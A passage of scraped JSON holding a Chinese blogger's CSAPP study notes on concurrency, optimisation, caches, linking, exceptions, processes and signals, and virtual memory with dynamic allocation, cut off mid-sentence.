Pthread_create(\u0026amp;tid[i], NULL, thread, ptr); /*In function main*/ Free(vargp); /*In Thread*/ 注意这里异步性的问题，我们的 malloc() 要由创建的线程回收。\nDeadlock 死锁 # 途中的 Deadlock State 进入后s和t都被上锁了，换言之怎么动都动不了。\n这类问题很难预测，也很难解决。可以通过一个简单的工作来预防：\nMutex Lock Ordering Rule - acquires its mutexes in order and releases them in reverse order.\n即保证所有的包含嵌套关系成立。\nBy Tab_1bit0\n","date":"14 March 2026","externalUrl":null,"permalink":"/learning/ch.12/","section":"Learning","summary":"","title":"csapp 第12章 并发编程","type":"learning"},{"content":" CSAPP Learning # This document is specially for Chapter 5 of book CSAPP.\nData-Flow Graphs # 通过画数据流图，我们可以分析不同寄存器的数据流动。有这样4类：\nRead-Only 只读寄存器，它的值只会被读取不会被更改。 Write-Only 只写寄存器，它的值只会被修改不会被读取。 Local 在循环中不断被修改使用，但前后更改没有必然联系。-\u0026gt; 条件码寄存器 Loop 循环寄存器，又会被write又会被read。 制约CPU工作效率的是Loop这一类，因为它约束了指令运行的先后时序，这是程序优化的重点所在。\n简化数据流图，只保留影响制约运行时间的相关操作\n这个图里面，我们知道浮点数乘法单次执行的花费时间会更多。\n所以它的运行速度被左边 %xmm0 的线路所制约。\n但是实际的运行效率，是不如我们分析得到的理论时间数据的，这也说明了理论预测值只是一个下界，实际的影响因素会更加多。\n循环展开 # psum1() 方法里面，我们单个 for 循环里做的事情有：\n从内存中读取 p[i-1] 到寄存器 # load 从内存中读取 a[i] 到寄存器 # load 计算 p[i-1] + a[i] # add 把结果写进内存中的 p[i] 执行 i++ # add 判断 i\u0026lt;n? continue : exit 而在 psum2() 方法里面：\n从内存中读取 p[i-1] 到寄存器 # load 从内存中读取 a[i] 到寄存器 # load 计算 p[i-1] + a[i] 得到 mid_val # add 把它写进内存中的 p[i] 计算 mid_val + a[i+1] # add 把结果写进内存中的 p[i+1] 执行 i+=2 # add 判断 i\u0026lt;n-1? continue : exit 它优化了：\n每次循环算两个数，这样读取的任务量直接减半 减少各种杂务开销，比如 for 语句的 i++ 迭代与判断是否跳出循环 那我能不能无限摊大饼呢？\n有上限。 太多了反倒会有让16个寄存器全被占满的可能性，这样的话多余的变量会存放进内存里，从内存存读会造成程序运行效率下降。 重新结合 # 对比\n我们哪怕只是把\nacc = (acc OP data[i]) OP data[i+1];\n改成了\nacc = acc OP (data[i] OP data[i+1]);\n这样一个小的改动，造成了乘法计算上性能的巨大差异。\n原因在，我们把 %xmm0 决速路径上所依赖的2步浮点数乘法给砍成了一步。\n启发：尽量优化决速路径的执行时长，减少浮点数乘法直接计算。\n读与写 # 如果读很影响效率，那么写呢？\n写本身是不影响效率的。 但是如果写之后这个内存位置上还要再被读，那就很影响效率了。 这被称为「写/读相关」。 并且，内存里面的写/读相关是要根据处理器计算地址的结果来确定的，不如寄存器操作方便。 分支预测 # 虽然处理器的分支预测可能会导致一定的算力浪费，但是整体来讲对程序性能影响不大。\nDo Not Be Overly Concerned about Predictable Branches.\n如果要优化，可以参考第3章讲到的Conditional Move。\n优化程序，从随手小事做起 # 减少函数调用 以前写的\nfor (i = 0; i \u0026lt; length(a); i++) ... 都写成\nint len = length(a); for (i = 0; i \u0026lt; len; i++) ... 消除不必要的内存引用 创建临时变量存储临时结果，最后再把这个临时结果写进内存中\n这是因为读取操作比较费时间，也比较容易有依赖性，我们需要减少不必要内存读取\nBy Tab_1bit0\n","date":"14 March 2026","externalUrl":null,"permalink":"/learning/ch.5/","section":"Learning","summary":"","title":"csapp 第5章 优化程序性能","type":"learning"},{"content":" CSAPP Learning # This document is specially for Cache in Chapter 6 of book CSAPP.\nDirect-Mapped Cache # 现在我们假设有一个女仆咖啡厅，有1000个女仆服务员。\n每天女仆要开始营业，先得拿着一个打卡机生成的凭证——员工属性，用哪个衣柜，要什么配饰，进入更衣室。\n但是准备室里面只有10个柜子，每个柜子里最多只有一组服饰。\n女仆咖啡厅前台 咖啡厅的后厨仓库 更衣室 柜子 凭证 CPU 内存 Cache Set S 要找的内存地址 柜子编号 放配饰的单位空间数 Index Cache Line E (equals 1) 服饰有没有准备好 给哪种属性女仆用 服饰组 Valid Tag Block B 女仆属性 用哪个柜子 要拿哪一件服饰 Tag Set Index Offset 女仆可以营业了 女仆还不能营业 Cache Hit Cache Miss 我们可以发现：妹抖们想要开始营业，需要先\nSet Index找到柜子（组选择） 再让Valid与Tag都能匹配上（行匹配） 最后用Offset找到想要的服饰（块抽取） 才可以喵\n如果行匹配失败了，就会触发Cache Miss，需要从存储器层次结构的下一层取出需要的块。（比如更底层的Cache）\nということで，今日も元気に笑顔でサービスできるために，\n配饰会从比如仓库等等地方送到女仆的衣柜里来Nyan~\n这里会有两种情况：\nCase invalid: Valid被置0，也就是说这个Block本身不可用。那么就会调用出所需要的块，并将它加载到这个Cache中，Valid位置1，Tag重置。 Case Tag不匹配：调用出Tag匹配的相应块加载到Cache中，但是会把原本可用的块给覆盖掉，Tag重置。 所以为什么我们要把Set Index放在中间位置而不是最前面？\n当我们执行比如数组遍历调用的时候，我们的元素内存地址是相邻的，也就是说前几位相同的可能性很大。\n如果我们将相邻元素都让他们去到同一个Set，那么显然很容易引发Cache Miss，造成性能下降。\n而当把Set Index放在后面一些的话，就能够实现有效的分流。\n此外，内存地址只是在Cache的语境下被赋予了 Tag/SetIndex/Offset 的特殊含义，它的本质含义是最底层的内存位置。\n但即便如此，实际运行中仍有可能出现抖动的情形，映射到同个Set导致冲突频发性能下降2-3倍。但是解决也相对容易，比如更改相关数组的长度。\nSet Associative Caches # 相比于Direct-Mapped，这次我们调整了更衣柜，让一个柜子能容纳更多套女仆装。\n也就是说Cache line的 1 \u0026lt; E \u0026lt; (C/B)。\n那么当遇到不命中情况的话，究竟应该替换掉哪一个Cache line的block呢？\n有很多种优化策略，但需要更多的硬件和时间。\n但是相应地，底层的Cache Miss造成的时间成本或许很值得我们去优化。\nFully Associative Caches # 此时E = C/B，也就是说只有一个大的Set。\n一般只会拿来做内存容量小的部分。\n关于写入 # Write-Hit\nwrite-through 写穿透，把下面若干级都改动 write-back 写回，只改高层cache（cache line需要添加状态修改位） Write-Miss\nwrite-allocate 写分配，把底层存储的拉上来写 write-not-allocate 写不分配，绕开高层改底层 参数的选取 # Cache Line数量增多：抖动发生概率降低，访问速度降低\nCache容量提高：命中率变高，访问速度降低\nBlock变大：同等容量下减少Cache Line行数，更好利用空间局部性，Cache Miss的处罚变大，Block过大导致命中率降低\n写策略：高层多用write-through，底层多用write-back\n可以发现，在实际设计中，一个CPU的各级Block大小是一致的\n虽然可以不一致，但可能会在具体传输中出现硬件寻址和状态机逻辑过于复杂的情况\n局部性 \u0026amp; Cache友好的代码 # 时间局部性：某个内存位置的值可能被多次引用 空间局部性：某个内存位置邻近的值可能被引用 做法：\n频繁使用局部变量，维持好的时间局部性 使用步长为1的数组遍历访问，维持好的空间局部性 多层循环嵌套的时候，关注执行次数最多的最内层语句 By Tab_1bit0\n","date":"14 March 2026","externalUrl":null,"permalink":"/learning/ch.6/","section":"Learning","summary":"","title":"csapp 第6章 信息的存储","type":"learning"},{"content":" CSAPP Learning # This document is specially for Chapter 7 of book CSAPP. # 可重定位目标文件 Relocatable Object Files # 可重定位目标文件是经过编译+汇编之后得到的 .o 后缀名文件。\n包括三部分：\nELF Header Sections Section Header Table ELF Header (Exceutable and Linkable Format) # 开头16个字节：\n前4个字节（魔数 ELF Magic）是\n7f 45 4c 46 DEL (in ASCII) E L F 作用：确认文件类型。\n第5个字节表示位数，0x2是64位，0x1是32位。\n第6个字节是端序，0x1小端序，0x2大端序。\n第7个字节是文件版本号，一般是0x1。\n剩下9个字节置空。\nELF Header包含64字节，剩下字节填充其他信息，例如Type可以是可重定位/可执行/共享文件。\nSection 节/段 # 先是 .text: 这里面是编译好的机器代码。 再是 .data: 这里面是已经初始化的全局变量和静态变量。 再是 .bss: 存放未初始化或初始为0的全局变量和静态变量，但它只是一个占位符，不占用磁盘空间。 .rodata: 存放所有read-only data，switch语句的跳转表，printf语句的格式化字符串也都放在这里。 其他的一些信息，其中重点关注 .symtab 符号表: LOCAL - 局部的静态变量 GLOBAL - 全局变量 UND - Undefined，不在这个.c文件里面定义的 Ndx = 某个特定数字 - sections中某字段，其中没有显式Name的都是section内部字段本身 COMMON - 和.bss有小区分，COMMON只用来存放未初始化的全局变量，而.bss用来存放其他几类，这是因为链接多个文件时候可能遇到全局变量重名的问题，需要特殊处理 OBJECT - 数据对象，变量/数组 FUNC - 函数 .2254/.2255 - 修饰项防止局部变量名冲突 注意：\n非static的局部变量放在栈帧里面。 .bss字段它并不占据 .o 文件的字段，这是为了让它瘦身，而不是说这些变量是read-only的，具体要申请的区块情况写在了Section Header Table里面。当程序开始运行了，相应的区块自然会被申请出来。 Symbols分为三类：\nGlobal Symbols，相当于cpp/Java中的 public 字段 External Symbols，从外部引入的字段 Local Symbols，即C中的 Static，相当于cpp/Java中的 private 字段 Section Header Table # 这是一个描述不同Section属性的表。\n可以确认每一个Section的大小，在文件中的位置等信息。\n链接起来吧！ # 链接的过程由链接器完成。\n当链接的多个文件只编译了一个的时候，可以正常编译，但生成可执行文件时会出现找不到符号的情况。\n当全局变量重名了怎么办？ # 我们规定，函数和已经初始化的全局变量为强符号，未初始化的全局变量为弱符号。\n多个强符号：报错 一个强和多个弱符号：以强为准 多个弱符号：未初始化，定义方法任意挑选 实际上很显然，很容易出现意料之外的程序运行结果。\nprintf() 等等函数是怎么被引用的？ # 在Linux中，用.a后缀名文件集成了一系列.o文件，例如 libc.a 中集成了 scanf.o printf.o 等一系列文件。\n我们也可以人为的用指令集成.a文件，在编译是要手动导入它。\n那么.h后缀文件做什么用？ # 头文件声明了相关的函数的存在性。 它是给编译器而非链接器看的。\n链接器综合了以上.o文件信息，打包成一个大的可执行文件。\n链接器的工作过程（静态库的解析） # 输入\nlinux\u0026gt; gcc -static -o prog main.o ./libvector.a # 结束后自动引用libc.a 在生成prog这个可执行文件的时候，会按输入顺序从左往右扫读\nprog main.o ./libvector.a clib.a 可以分为目标文件和静态库文件。\n这三个文件，并建立3个集合：\nE集合：目标文件，以及使用了且定义过的符号对应的.o文件 U集合：使用了但未定义的符号 D集合：已经定义了的全局符号 在读取的过程中这三个集合的元素会移动，最后会只保留E集合中的元素，确定要引用的文件。\n如果U集合最后还是非空，那么会出现找不到符号的报错。\n所以文件扫读顺序可能会直接影响执行失败。\n静态库之间链状引用可能需要ABC的链接顺序，循环引用可能需要ABA的顺序。\n链接器的工作过程（重定位） # 分成两步：\n第一步是重定位节和符号定义。 # 把不同的 .o 文件Sections的各个部分合并得到一个新的大的Section。\n这里注意，ELF文件默认分配虚拟地址是从0x400000开始的。\n第二步是重定位Section中的符号引用。 # 所有调用不同文件中函数的 call 指令要重新指向实际的函数地址，这一步需要依赖Relocation Entries（重定位条目），它由汇编器产生，放在 .o 文件的特定位置，提供给链接器用。\n这个字段长这个样子：\n1 typedef struct { 2 long offset; /*Offset of the reference to relocate*/ 3 long type: 32, /*Relocation type*/ 4 symbol: 32;/*Symboltable index*/ 5 long addend; /*Constant part of relocation expression*/ 6 } Elf64_Rela; 其实调用库函数，调用同一个文件里的非static函数，调用.data区域的变量等所有无法确定最终位置的事情，都会有重定位过程发生。\nsymbol: 要重定位的符号名字，比如sum() 函数就叫sum type：重定位类型（共32种）重点关注 R_X86_64_32 绝对地址重定位 R_X86_64_PC32 相对地址重定位 先将callq 指令 e8后面的4个字节（表示引用地址）置空\n对于相对地址引用 # 有了这些信息之后，链接器便能够计算出引用的运行时地址（call指令放引用地址的位置）：\n$$ ref\\_addr = ADDR_\\text{Caller Function} + r.offset $$对于Caller Function的起始地址很容易得到，例如 main 常常是 0x4004d0。\n然后再把这个位置（设指针变量 *ref_ptr ）赋值：\n$$ *ref\\_ptr = ADDR_\\text{Callee Function} -ref\\_addr + r.addend\\text{(= -4 in default)} $$——这里注意这个值的实际含义：PC(%rip) 总是指向它运行的指令的下一条指令，存入这个相对偏移，实质上是把它定位到调用的函数的第一条指令中去。\n在执行 call 指令的时候实际上发生了两个过程：\n先把 PC 的当前值（原函数中 call 的下一条指令）压栈保存。 再修改 PC 的值，方法就是加上 *ref_ptr 的值。 这样我们不难理解为什么r.addend默认等于 -4 了，因为 ref_addr 和原函数中 call 的下一条指令隔着4个字节的距离。\n对于绝对地址引用 # 前面步骤和相对地址引用相同。\n第二步更加简单：\n$$ *ref\\_ptr = ADDR_\\text{Target Data} + r.addend\\text{(= 0 in default)} $$\n它多见于变量赋值（涉及.data）的场合，相比于相对地址引用常见于函数调用（涉及.text）。\n可执行文件 Executable Object Files # .init 定义了一个 _init 函数，程序借助它实现初始化 .rel.text/.rel.data都不再需要，因为已经重定位过了 其他都与可重定位目标文件相类似 Section header table # 它描述了代码段，数据段与内存的映射关系。同时也有可读，可写，可执行的权限表示。\noff - 偏移量（位于可执行文件的哪个位置） vaddr \u0026amp; paddr - 开始内存地址 filesz - 相关文件大小 flags r-x - 可读，不可写，可执行 我们注意下面有 memsz \u0026gt; filesz，这是因为，memsz实际还加载了.bss字段中的内容。\n这里.bss依旧是没有占用可执行文件空间的，但是相应变量应当被加载到内存里，并被初始化为0。\n要求 $vaddr\\ %\\ align=off\\ %\\ align$，目的是更快访问内存。\n程序由execve从磁盘加载到内存。\n程序加载过程涉及到后面章节进程/虚拟内存/虚拟映射的问题。\n共享库 Shared Libraries # 思考静态库 .o 的缺点：\n需要定期更新维护 一个系统可能运行成百上千个进程，如果要把比如标准I/O函数的静态库也通过链接器复制成百上千遍很占内存 共享库 - .so in linux and .dll in windows\n它能被加载到任意内存地址，和任意内存中程序链接起来，which is called 动态链接。\nDynamic linker 完成重定位的工作，主要是通过 GOT (全局偏移表) 和 PLT (过程链接表) 这两个数据结构来完成。\nDynamic linking 的优点：运行时也可以加载和链接——\nDistributing Software Web Server Of High Efficiency, which means Web服务器可以不停服更新 ","date":"14 March 2026","externalUrl":null,"permalink":"/learning/ch.7/","section":"Learning","summary":"","title":"csapp 第7章 链接","type":"learning"},{"content":" CSAPP Learning # This document is specially for Chapter 8 of book CSAPP.\n异常 Exception # CPU读取一串线性指令的过程是控制流(Control Flow)作用；每个编号ak对应Ik指令的执行。\nIk地址的不平滑突变可能是正常的jmp跳转，call指令等造成；\n但是除此之外就是异常情况的发生，比如系统调用，IO输入输出流，StackOverflow栈溢出，它们会中断当前程序，把程序引向其他位置进行。\nC++/Java可以使用 try-catch 语句进行捕获异常处理，这里的Exception和本章重点的操作系统/硬件的Exception有所不同；\n在用户层底下操作系统以及硬件方面，有固定的一套异常处理程序，这套指令是只要异常触发就会发生的。\n操作系统定义了一张异常跳转表 (Exception Table)，在系统启动时分配和初始化：\nIndex Pointer to 0 Code for Exception Handler 0 1 Code for Exception Handler 1 2 Code for Exception Handler 2 \u0026hellip; \u0026hellip; n-1 Code for Exception Handler n-1 CPU中会存放一个特殊的寄存器：异常表基址寄存器 (Exception Table Base Register)，指向这个跳转表初始位置。\n从而我们通过register+编号的方式定位到相应的处理程序。\n异常处理相当于特殊的Procedure调用。\n处理器把当前或下一条指令压入栈中 处理器还会把一些特殊状态值压入栈中 如果是转入系统内核，那么异常处理（包括压栈）不发生在用户层，其指令调用发生在内核栈中。 运行在内核态，有对所有系统资源的访问权限。 因为处理异常相当于中断了原本程序的执行。\n异常有4种类型 (class)： # 中断 Interrupt # 这是唯一一种异步情况，即与当前指令无关。\n例如键盘控制器引发的硬件中断，是检测键盘输入状态然后执行相应的处理程序，处理完成后回到原程序指令的下一步。\n陷阱 Trap # 它为用户与系统交互提供接口，例如往磁盘读写文件，进行相应的处理程序，处理完成后回到原程序指令的下一步。\n故障 Fault # 发生故障时候系统会先尝试修复故障，修复成功回到故障指令地址重新运行这一条故障指令；失败则结束程序。\n致命 Abort # 这一般是引发了硬件层面的故障，会直接结束程序。\n具体案例 # Divide Error 是除法错误，就是使除法器出现问题，例如除数为0。这种时候的处理方法一般是终止程序。 General Protection Fault 是一般保护错误，一般是程序接触到了不存在或无权访问的内存区域。这种时候的处理方法一般是终止程序。 Page Fault 是缺页故障，一般系统会先尝试去磁盘中读取缺失的部分进行修复。 Machine Check 是机器检查，一般反映硬件层面的故障。 这几个都是芯片架构师定义的。\nOS-Defined Exceptions # 注意这张表格和上面所说的跳转表**不一样**，这些Number是**系统函数的调用编号**。 汇编中通过 `syscall` 指令来实现系统层面调用。 注意在C语言中`write()` 和 `exit()` 实际上是为 `syscall` 提供**包装**。 进程 Process # 区分于程序，进程是一个被创建的实例。\n作为一个单个的非实例的程序，我们会假设它\n自由地占用虚拟内存地址 CPU自始至终都只在处理它 但对于一个单核处理器而言，常常是多个进程并发执行。\n并发不等于并行。\n并发是指处理器的同一个核一直在ABC等持续的进程中不断切换跳转工作，这个过程中进程ABC并发。 并行是指CPU的不同内核同时处理不同进程。 进程有三种状态：\nRunning Stopped（通过信号(Signal)控制） Terminated（终止）引发包括 exit() main函数返回 终止信号 而进程依赖逻辑控制流工作，每个进程都有一个。\n上下文 Context # 内核为每一个进程维持一个上下文，以便于进程的挂起和恢复。\n内部包括了\ngeneral-purpose registers floating-point registers program counter user\u0026rsquo;s stack status register kernel\u0026rsquo;s stack various kernel data structures （页表，进程表，已打开文件的信息表） 内核可以调度进程，即抢占与恢复进程，通过上下文切换实现。\n保存原来上下文 切换新的上下文 重定位控制流 这个过程发生在很多个进程并发，或者有需要调用系统函数的情况\n但上下文切换花费的成本代价显然非常大。\n用户模式和内核模式 # 通过Control Register这个寄存器维护模式位，标示当前程序权限。\n内核模式可以调用任何内核指令，访问任何内存。\n用户权限不能执行特权指令，如调用I/O，停止处理器，改变模式位等。\n用户权限只能通过系统调用间接地访问内核的内存代码数据，比如处理异常，用户模式调用内核中的代码，这些内核中的代码在内核模式执行，最后回到用户模式。\n子进程与fork()函数 # 在父进程中执行 fork() 函数会拉起一个和父进程相同的子进程，所有信息一致，但是存在内存的不同实际位置。\n我们该如何区分父进程与子进程同一位置的这个函数呢？\n在父进程中，fork() 函数会返回一个子进程的标识码 pid (\u0026gt;0) 在子进程中，fork() 函数会返回0，并且是从这一句fork开始起执行。 这就是调用一次，返回2次的特殊性。\n如果我们执行 /*in function main()*/ printf(\u0026#34;This is the father process.\\n\u0026#34;); fork(); // #1 fork(); // #2 printf(\u0026#34;Hello, World!\\n\u0026#34;); 它实际上执行方法：\n这四个hello的输出，由于并发执行的原因，实际顺序具有任意性。\nexecve()函数 # 输入一次不返回，包括3个参数：\nconst char* filename; // 启动文件名 const char* argv[]; // 命令行启动参数 const char* envp[]; // 环境参数 它负责调取加载器，覆盖当前进程，比如把shell用新的某个进程覆盖掉。\n比如从Shell中运行可执行文件。\nwaitpid()函数 # 进程结束后还是会赖在内存里占用空间，称为僵死进程。\n父进程中的 waitpid() 函数可以回收清理这些僵尸进程。\n它有三个参数\npid_t pid; int *statusp; int options; 返回值是被回收子进程的pid。\npid = -1: 监控所有子进程 pid \u0026gt; 0: 监控特定pid子进程\n指针*statusp指向对子进程监控状态，即退出情况，具体可以通过wait.h中宏查询。 pid = -1时，子进程的回收也具有顺序任意性，需要代码人为约束。\n此外注意，调用waitpid()时候，父进程暂时被挂起，需要等待对应子进程结束。\n进程组 process group # 一般子进程与父进程隶属于同一个进程族；也可以使用 setpgid(pid_t pid, pid_t pgid) 人为设置。\n这里当\npid = 0: 不改pid pgid = 0: 使用进程的pid值作为pgid值 使用 类似 ls | sort 创建作业会给作业分配不同的进程组。\n（这句指令的意思是把 ls 的输出喂给 sort 进行输入的管道）\n信号 Signal # 是用户层的软件形式的特殊异常。\n发送信号 # 键盘：Ctrl+C终止前台进程；Ctrl+Z挂起前台进程 Shell： /bin/kill -9 11111 #杀死进程号11111那个 /bin/kill -9 -11111 #杀死进程组11111里面所有进程 进程内部调用函数kill() 进程内部调用函数alarm() 接受信号 # 进程从 kernel mode 变成 user mode 的时候会触发检查，如果待处理集合非空，会挑选信号编号最小的一个施加给进程，在系统层面执行默认行为，或者如果被程序捕获，会转到用户层的信号处理程序。\n有四种预设的默认行为：\nThe process terminates 进程终止 The process terminates and dumps core 进程终止并转储内存（到磁盘上） The process suspends until restarted by a SIGCONT signal 进程挂起直到被唤醒 The process ignores the signal 进程忽略该信号 信号处理过程类似于异常处理。\n注意：\n一种类型的待处理信号只会存在一个，剩下的会被丢弃 信号处理程序可以被其他信号处理程序中断 如果有好多个信号怎么办？\n在某个信号处理程序执行完之后，会先切到kernel mode再切回user mode以刷新状态。\n缺点：\n信号处理不是时间先后顺序 对于Unix而言不同版本系统处理信号方式也不同 细节与补充 # Signal, Exception, try - catch 这三者是什么关系？ # Signal 是内核层面向用户层面提供的信号，类似于交通信号灯，除了类似于 SIGKILL 这类的强制性执行默认动作，其他都可以在编程语言中捕获并自行处理。\nCSAPP书中有一个案例，其中Signal在指挥交通，保证父进程在子进程结束后继续执行下一步。再比如 sigsuspend() 方法也行之有效。\nSignal和它的捕获处理方法具有异步性。\nException是硬件层面异常。其中的Abort类型和Fault类型在出错时会最高权限地打断进程执行，而不是像Signal可以被捕捉重新处理具有妥协性。\n但是我们调用系统函数 trap 类型如果遇到了错误情况，并不会强制像fault这样直接爆掉，而是会提供错误码和错误信息返回给用户层。\n这些信息经过(JVM等)进一步处理，是可以被try-catch捕捉到的。\ntry-catch 语句具有同步性，它必须需要主函数执行到了某一个特定区块才能触发。并且 try-catch 这些异常都是在C++/Java语境下定义的高级层面上的异常情况，即便它们本质上可能是一个trap意外的包装。\n案例：java.io.IOException 的工作原理就是系统发出来的错误情况提供到了JVM上。\n为什么我shell里面运行完一个文件最后还会回到shell进程里面呢，execve()不是覆盖了原进程吗？ # Shell后台使用了指令组合：\nfork(); if pid == 0 then execve(...); waitpid(...); Shell它fork出一个子进程，再把这个子进程用execve覆盖掉，并且用waitpid暂时挂起父进程，最后清理。\nSignal的异步性让我想到了javascript里面的addEventListener()的监听函数，这个两者间有什么关系？ # 浏览器底层有一个大的while True循环叫做Event Loop，它负责接受各种信号并转化成对应的Event，将它们按时间先后存放到序列中，不会被覆盖，并且这样处理之后这些Events它们无权中断运行中的任何进程。然后Event Loop 通过调用回调函数来唤醒对应的监听函数进行工作。\n怎么区分前台进程和后台进程？ # 在同一Shell下，前台进程一般只有一个进程或者（不一定是整个）进程组。\nls | sort 案例中，ls和sort是同一个进程组，但是和Shell不是同一个进程组。运行的时候ls和sort都活跃在前台。\nBy Tab_1bit0\n","date":"14 March 2026","externalUrl":null,"permalink":"/learning/ch.8/","section":"Learning","summary":"","title":"csapp 第8章 进程 信号 异常流","type":"learning"},{"content":" CSAPP Learning # This document is specially for Chapter 7 of book CSAPP.\n虚拟地址 # 在程序层面的假象，与物理层面的物理地址相对。比如 main() 函数总是在 0x400000 开始，但物理上不可能是这样。\n在虚拟寻址的过程中，从虚拟地址到物理地址的翻译是由操作系统中的Page Table（页表）维护，硬件上CPU的MMU模块充当检票员。\n虚拟地址与物理相对，它仅代表一种内存管理技术，并不代表任何物理电路意义上的内存地址。\n虚拟地址包括\n虚拟页号 VPN - 定义是哪个虚拟页 虚拟页偏移量 VPO - 确认是哪个字节 虚拟内存 Virtual Memory # 也是一个抽象的概念，包含2^48^字节的连续空间，每一个字节都有对应的虚拟地址索引。\n虚拟内存空间 VMA # 这个是虚拟内存具体落实到RAM的特殊区域上的具体存在形式，具体可见下面的Linux管理案例。它只是一个记账本，每个进程都有一个。\n页表，虚拟页，物理页 # 在大体量的磁盘和内存之间也存在有一个最小传输单元，总容量为P，即虚拟页。\n显然每个进程的虚拟页都是独有的。\n在物理内存上有一个与之对应的P容量的单元，即物理页。\n两者不是线性平行的映射关系。\nUnallocated - 未分配 Uncached - 未缓存 Cached - 已缓存 不同的进程之间可以共享某块物理内存地址，页表做的事情是提供映射。\nSRAM \u0026amp; DRAM # 我们区分CPU内部的L1/L2/L3 Cache 为SRAM，内存条（主存）为DRAM。\n事实上主存自身就是一个巨大的缓存。它有以下特点：\n访问开销大，不命中成本高 采用全相联策略 复杂的不命中替换算法 采用write-back而非write-through策略 优势 # 简化了加载/链接器链接工作/内存分配/共享区域 有利于内存数据保护 那么页表有几个呢，又存在哪里呢？ # 显然每个进程有一个页表。\n进程运行时存在DRAM里，但是显然访问DRAM很慢，所以在MMU内部有一个小的缓存性质的SRAM，即TLB (translation lookaside buffer) 来提供更快的查询功能。\n地址翻译 Address Translation # 分步拆解开看有：\n注意到Page Fault的情况，这里和上一章所讲的异常处理有直接相关性。\n总而言之，这一系列内容的原理与之前所学的CPU，Cache等等知识是相贯通的，理解了那些原理这里也能很快明白。\n优化方法 # TLB # 相当于多一级缓存。这个检索过程中，VPN被分成 TLB Tag 和 TLB Index。（回顾缓存的相关知识）\n注意具体的数据仍旧是要通过缓存主存来调取，这和查页表是两个独立的过程。我们这里，包括多级页表，是优化了查页表的过程。\n多级页表 # 单个页表有要求存储空间大，访问麻烦等潜在问题，我们需要用多级页表把它拆分开。\nLevel 1到Level k-1 都是指向下一个页表的物理基地址，通过它和VPN结合访问又能够得到下一级，以此迭代。\nVPN被拆分成VPN1~VPNk来识读。\n优势：\n不存在就不创建。 页表的创建自高向低，和其他缓存数据的工作原理一致。 不需要连续内存。 那么TLB和多级页表之间有什么联动吗？\nTLB一直会指向最高层级的即实际的物理地址。多级页表只是优化了去内存查找页表的这部分，优先级显然没TLB高。\n案例 # 也可以看出，我们如何人工地赋予64位地址一个实际意义也是设计的重要一环。\n我们不是说每个进程的虚拟内存都应该是连续的吗，为什么我看书上Linux案例的空间好像并不连续呢？ # 要区分虚拟内存和虚拟分配的概念差别。\n虚拟内存就是我们理想的0~2^48^-1的连续地址空间，但是我们不可能直接把这一串东西直接存到磁盘里面去。\n因此我们需要虚拟分配的方法保存在RAM里面，也就是说先把一整个连续的虚拟内存划分成不同的虚拟页，并附带有描述属性的相关信息（读写权限，或是链接的下一个页面等），然后执行分配的策略。\n此外注意：VMA也是存放在RAM而不是磁盘当中的。\nMemory Mapping # Linux initializes the contents of a virtual memory area by associating it with an object on disk, a process known as memory mapping. 也就是说，它关乎虚拟分配本身的实现机制，即如何磁盘的文件与RAM上的Virtual Memory Area之间的链接。\nMapping可以关联普通的文件，也可以关联匿名文件。如果关联了匿名文件，那么就会直接调用内存而不经过磁盘。如果把它从内存踢出，那么就会进入到系统管理的swap区的特殊隐藏分区，待有需要再调用。\nShared Objects /Private \u0026amp; COW # 一个对象可以以共享(Shared)或私密(Private)的形式出现在RAM上。\n如果是Shared，比如C库，那么可以不同进程同时指向同一个物理内存地址。\n不同进程对它在物理内存上的数据都有写的权限，并且在一个进程中写会影响到另一个进程。这个写会影响到磁盘上的源数据。\n那如果我只想在B里面做一些自己的修改该怎么办？ 这个时候就是Private作用的时候，\n使用COW(Copy On Write) 的策略。\n在物理内存上专开一片地方存放特殊修改的内容（这个过程叫做复制，最小单元就是page，由VMA和PTE的读写权限不一致引发的处理程序造成），并且只有做了对应修改的B才可见。此改动不写回磁盘，也不会对原数据做任何覆盖操作。\n注意区分：Shared/Private只是在读写权限和效果上的区分，它们本身是完全可以通过页表去指向同一个内存区域的。\n重新审视fork()和execve() # fork() 函数实质上创建了一个mm_struct, area structs, page tables的复制给子进程（注意物理内存并没有被复制！），并设置成private \u0026amp; COW的对应权限。 execve() 函数则是把先前的这些信息全部弃用，重新建立磁盘到物理内存新的映射。 这两个过程中所有的数据都没有在磁盘层面上被改动过！\nmmap() # 用户可以通过mmap()函数自己向磁盘中做Memory Mapping工作。\nvoid *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset); prot - 访问权限\nfd - 文件描述符，如果是匿名映射 fd 与 offset 均置0即可\n这样我们就可以往某个特定文件的特定字节去写入内容，访问改动更加高效。\nmunmap()则可以移除。 动态内存分配 # malloc() \u0026amp; free() # 这里 malloc() 分配虚拟地址所使用的是堆区（Heap），malloc() 使得它从低地址向高地址生长，要求分配地址8字节对齐。\nmalloc() 返回块地址，需要另行储存，查找可达到O(1)复杂度。\n所以它的特点是轻量、快速、与VMA结构不冲突。目标在\n最大化吞吐量 最优化内存利用率 从整体上看，malloc()本身的功能实现也是借助于Virtual Memory/ Page等管理方法实现的，所谓的动态分配只是对Heap区的利用。\n内存碎片 Fragmentation # Internal Fragmentation - 内部分配的块大小比实际载荷大 External Fragmentation - 多次分配后造成的零碎内存 这引发了在分配管理上我们要解决的额外难题。\nFree block organization Placement Splitting Coalescing 解决方案1: 隐式空闲列表 Implicit List # 优点在：\n利用了双字对齐特性，存size最低三位必定是000，这样我们可以利用最后一位存是否启用，并且通过位运算很方便地提取出size() 可以自由选定分配块大小 可以记录是否启用，padding信息 结构简单(Simplicity) 最主要缺点是 malloc() 与 free() 都是复杂度O(n)，时间效率低。\n放在哪里？ # First fit - 从头找符合，缺点是会造成较低地址区域的大量碎块 Next fit - 从上一次访问的位置开始往下找，缺点是空间开销变大 Best fit - 遍历整个动态内存分配，缺点是时间开销大 分配多少块空间？ # 空闲块切割出一部分分配，剩下部分依然空闲。\n合并空闲块 # 把相邻的空闲块合并成大块。我们引入了Footer。\n改进：显式空闲列表 Explicit Free List # 通过pred succ（前驱/后继）的双向链表设计来链接空闲块，提高访问分配效率，并能把 free() 复杂度降为O(1)。\n解决方案2：(Simple) Segregated Free List 分离空闲列表 # {1}, {2}, {3, 4}, {5–8}, \u0026hellip; , {1,025–2,048}, {2,049–4,096}, {4,097–∞}\n或者（单位：字长）：\n{1}, {2}, {3}, \u0026hellip; , {1,023}, {1,024}, {1,025–2,048}, {2,049–4,096}, {4,097–∞}\n意思是说我们把一整个Heap区域进行分层处理，每一层都有一个特定指针。\n上面情况中，首先 malloc(6) 